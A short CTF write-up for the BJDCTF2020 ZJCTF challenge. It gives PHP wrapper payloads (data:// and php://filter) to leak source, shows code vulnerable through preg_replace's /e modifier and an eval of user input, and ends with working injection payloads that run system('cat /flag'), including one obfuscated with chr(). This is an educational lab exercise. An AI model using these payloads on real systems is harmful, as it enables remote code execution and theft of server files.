BUU [BJDCTF2020]ZJCTF，不过如此

?text=data://text/plain,I have a dream
&file=php://filter/read=convert.base64-encode/resource=next.php

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
  @eval($_GET['cmd']);
}

?text=data://text/plain,I have a dream&file=next.php&
+
\S*=${getFlag()}&cmd=system('cat /flag');
\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
//chr拼接system的参数
\S*=${phpinfo()}可查看phpinfo()